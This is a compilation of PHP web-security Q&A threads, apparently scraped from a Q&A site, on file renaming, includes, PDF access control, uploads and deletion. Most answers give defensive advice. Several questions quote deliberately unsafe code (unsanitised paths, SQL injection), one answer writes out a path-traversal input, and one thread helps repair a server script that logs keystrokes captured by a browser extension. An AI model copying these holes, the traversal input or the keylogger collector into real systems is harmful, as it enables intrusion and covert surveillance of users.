I am building a flat file cms that uses php files. Users will be able to rename files using an input field and the old and new file paths will be sent via ajax to the server where I test for security. I realize this could be done easier with regex or even OR operators. I took the OR operators out so that the strings would not be too long for this post. And as for regex, I'd like more control over the errors I send back to the client.
The CMS itself is much like a PAAS that resides in directory above all of the individual site folders that each user will have. My goal is to keep users from injecting code that might interfere with other (adjacent) user folders or the cms itself in the parent directory above.
I have not parsed the path's yet for validity. I am just trying to get an idea of how a malicious user might be able to take advantage of what I have written so far.
<?php
$old_path = $_POST['file'].'.php'; // path/to/file.php
$new_path = $_POST['new_file'].'.php'; // path/to/newfile.php';
if(strstr($new_path,"<?")){
echo "Sorry, path cannot contain script tags";
}elseif(strstr($new_path,"?>")){
echo "Sorry, path cannot contain script tags";
}elseif (strstr($new_path,">")){
echo "Sorry, path cannot contain script tags";
}elseif (strstr($new_path,"<")){
echo "Sorry, path cannot contain script tags";
}elseif($new_path[0]==="." OR $new_path[0]==='/' OR $new_path[0]==='\\'){
echo 'Sorry first character of path cannot be a period or slash';
}else{
//this is set when the user logs in based on details in a database
$users_dedicated_directory = $_SESSION['userfolder'].'/';
// add the users folder when renaming just for more control
$old_path = $users_dedicated_directory.$old_path;
// add the users folder when renaming just for more control
$new_path = $users_dedicated_directory.$old_path;
rename($old_path,$new_path);
//trim the users folder name. Send it back to the client
echo explode($users_dedicated_directory,$new_path);
}
?>
if new_path is something like a/../../path/to/one/of/you/cms/core/file.php if think a malicious user could overwrite some files of your CMS.
You'll have to remove write permissions for the web server to nay of your CMS files to prevent that.
Related
Could you please tell me how to change Apache ownership in Windows if you guys know, since I cannot create txt files using PHP without permission. According to my issue, I need to be able to authorise a file to be made.
What I am trying to do is create a script that records keystrokes in the Firefox extension section. This script will send the data to an Apache PHP file and store it in a text file. I would appreciate your response if you could.
<?php
session_start();
if (!isset($_POST['key'])) {
echo ("Didn't received any new KEY strokes Yet!");
exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_log = fopen("key.txt","a+");
if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
$_SESSION['site'] = $_POST['site'];
fwrite($file_log, "| site : ".$_POST['site']." | ");
}
fwrite($file_log,$_POST['key']);
fclose($file_log);
echo("text saved successfully");
It looks like you are not defining a full path for the file.
Depending on where php is running just calling fopen("key.txt","a+") might default to the root directory.
When creating/modifying files you should specify the full path to the file
fopen("/var/www/mydir/example/path/key.txt","a+")
I'm a sysadmin for a small firm and I manage the server for them.
I've setup a portal for our customers to view their bills in pdf format, they are initially set with 0600 file permissions. For security reasons I cannot have all the pdf's 'visible' to everyone so I need a way to show them to the customer only when a pdf is clicked on the customers' account.
I have tried using the following, but it doesn't work and I'm getting a 'Forbidden' error...
chmod($filename, 0755);
echo "<td><iframe src='" . $filename . "' width=645 height=600 frameborder=0></iframe></td>";
chmod($filename, 0600);
The php script and the pdf files have the same owner set.
Any ideas what I'm doing wrong, I need to get this working?!
Many thanks! :)
This can not possibly work:
chmod($filename, 0755);
echo "<td><iframe src='" . $filename . "' width=645 height=600 frameborder=0></iframe></td>";
chmod($filename, 0600);
You're making the file readable only for the amount of time it takes PHP to echo that one line of HTML. I.e., by the time the user clicks the link, permissions have already been revoked again. On top of that, the file is world-readable for that period of time, so anybody on the Internet can see it.
To do this more securely, do not have the web server serve the files directly, as you will not be able to control who has access to them. Instead, put them outside the document root so that they can not be seen at all by the web server, and then proxy them through a PHP script (via readfile() or similar) that performs an ownership check.
In your script that generates the link:
echo 'PDF Download';
Where $fileId is some unique identifier for the file, but not the full file name.
Then, in download.php, something like this:
function getLoggedInUser() {
// return the logged-in user
}
function getFileForId($fileId) {
// get the full path to the file referenced by $fileId
}
function getOwnerOfFile($fileId) {
// get the user allowed to see the file referenced by $fileId
}
$fileId = $_GET['fileId'];
$file = getFileForId($fileId);
if (!file_exists($file)) {
header('HTTP/1.1 404 Not Found');
exit;
}
if (getLoggedInUser() !== getOwnerOfFile($fileId)) {
header('HTTP/1.1 403 Forbidden');
exit;
}
header('Content-type: application/pdf');
header('Content-Disposition: attachment; filename="whatever.pdf"');
readfile($file);
[UPDATE]
and I have <a href="/viewbill.php?bid=<?php echo $invoice_number; ?>" title="View PDF Invoice"> where the $invoice_number is the name of the file.
That's fine, just make sure that viewbill.php performs a check to ensure that the logged-in user is the same as the user that the bill is for, otherwise any customer can view any other customer's bills simply by changing the invoice number in the URL.
When you say 'put them outside the document root' where do you mean exactly;
Let's say that your Apache document_root directive points to /var/htdocs/public/. In this case, everything in that directory and everything under it can be seen by Apache and potentially served directly to a client. E.g., if you have a PDF file in /var/htdocs/public/pdfs/12345.pdf then a user can simply request the URL /pdfs/12345.pdf in their browser, regardless of what PHP structures are in place. Often this is mitigated with the use of .htaccess files but this is not ideal. So, if you have files that you want to keep controlled, you should not put them anywhere under the document_root. For example, put them in /var/htdocs/docs/ instead. This way, Apache can not possibly see them, but you can still use readfile() to pull their contents.
I use a php script to include another php file. When someone goes to the index.php with the wrong string, I want it to show on the screen an error message.
How do I make it show a custom error message like "You have used the wrong link. Please try again."?
Here is what I am doing now...
Someone comes to the URL like this...
http://example.com/?p=14
That would take them to the index.php file and it would pick up p. In the index.php script it then uses include ('p'.$p.'/index.php'); which finds the directory p14 and includes the index.php file in that directory.
I am finding people, for what ever reason, are changing the p= and making it something that is not a directory. I want to fight against that and just show an error if they put anything else in there. I have too many directories and will be adding more so I can't just us a simple if ($p != '14'){echo "error";} I would have to make about 45 of those.
So what is a simple way for me to say.... "If include does not work then echo "error";"?
$filename = 'p'.$p.'/index.php';
Solution1:
if(!#include($filename)) throw new Exception("Failed to include ".$filename);
Solution2: Use file_exists - this checks whether a file or directory exists, so u can just check for directory as well
if (!file_exists($filename)) {
echo "The file $filename does not exist";
}
You should never use this include solution, because it can be vulnerable to code injection.
Even using file_exists is not a good solution, because the attacker can try some files in your server that was not properly secured and gain access to them.
You should use a white list: a dictionary containing the files that the user can include referenced by an alias, like this:
$whiteList = array(
"page1" => "/dir1/file1.php",
"page2" => "/dirabc/filexyz.php"
)
if (array_key_exists($p, $whiteList)) {
include_once($whiteList[$p]);
} else {
die("wrong file");
}
In this way you do no expose the server files structure to the web and guarantee that only a file allowed by you can be included.
You must sanitize the $p before using it:
$p = filter_input(INPUT_GET, "p", FILTER_SANITIZE_STRING);
But depending on the keys that you use in the dictionary, other filters should be used... look at the reference.
if(!file_exists('p'.$p.'/index.php')) die('error');
require_once('p'.$p.'/index.php');
I'm working on a small, user-maintained online store, and am trying to allow my end user (the store administrator) to upload graphics for products. When I run this script, however, it doesn't actually store the image. I built this script from various tips here and a tutorial, and have gotten everything but the image upload portion to work.
// Set the image target directory here
$target = "itemImages/";
$target = $target . basename($_FILES["image"]["name"]);
// Variables get POSTed here - just tack new ones on at the end.
// Various POSTs omitted for brevity
$pic=($_FILES["image"]["name"]);
// Places the picture in the folder
if(move_uploaded_file($_FILES["image"]['tmp_name'], "itemImages/"))
{
echo "The file " . basename($_FILES['uploadedfile']["name"]) . " has been uploaded.<br />";
}else {
echo "There was an issue adding this item. Please try again.<br />";
}
// Writes variables to the database
mysql_query("INSERT INTO tbl_item (itemNAME,itemDESC,itemCOST,itemHCOL,itemHSIZ,itemIMG)
VALUES ('$itemName','$itemDesc','$itemCost','$hasColor','$hasSize','$pic')");
mysql_close($con);
?>
Any help, tips, advice, insight, etc. would be very much appreciated.
move_uploaded_files requires a filename as its target. It does not blindly move to a directory, so
move_uploaded_files($_FILES..., 'somedir/somefile.txt');
works, but
move_uploaded_file($_FILES..., 'somedir/');
will not.
Plus, note that your database operation is vulnerable to SQL injection attacks. You're blindly inserting the uploaded file's remote name (['name'] via $pic), and that name is fully under the remote user's control.
Make sure the itemImages folder has write permission by the user your web server (e.g. Apache) is running as (e.g. www-data)
make sure the .php file and the folder you are writing to have the same "owner". Or try setting permissions on the itemImages folder to 777 (This is not recommended, just a debug tactic)
Basically the following for the core part:
$file = basename($_GET['f']);
$directory = "/var/www/site/";
$file = $directory . $file;
$hash = $_GET['h'];
$md5check = md5($file);
$md5check = substr($md5check, 0, 5);
if ($md5check == $hash) {
if (file_exists($file)) {
unlink($file);
}
else {
die('error');
}
}
else {
header('Location: error');
exit;
}
I realise using the users input is asking for trouble, but how can I get the server to 'locate' the file to delete? Am I somehow able to escape injections?
The user would be loading http://site.com/?f=test.jpg&h=hashc
Also is there any other hash systems besides MD5 which is separate for each location of a file?
eg.
file1.rar downloaded at 12:00am = differenthash
file1.rar downloaded at 11:00pm = randomhash
file1.rar is the same file in both scenarios.
versus md5:
file1.rar downloaded at 12:00am = randomhash
file1.rar downloaded at 11:00pm = randomhash
file1.rar is the same file in both scenarios.
You're already using basename which should limit the attack vector greatly (as the user can't delete files from a different directory), however letting the user have access to delete files from /var/ is a very bad idea as the user would be able to pass any non-image file across too.
Can you not have some path relative to your web root rather than a very important system directory?
Extra security could include (note that this list is not at all exhaustive..):
User checking: Check that the web server user owns the file the user is requesting to delete.
Store uploaded files in the database and check that they exist and have been uploaded by our script before allowing deletion.
As above, move the files out of the system directory.
Use stronger hashing (ie. salts!).
Restrict this to a logged in user and log all actions, if somebody tries to delete a file it's logged and you know exactly who it was.
As #rudi_visser said, best way is white-listing, And store the uploaded files+data in the database.
And when the user tries to delete the file, make sure it's him, and make sure the file is uploaded (exists in the "uploaded" table not a part of your script/system).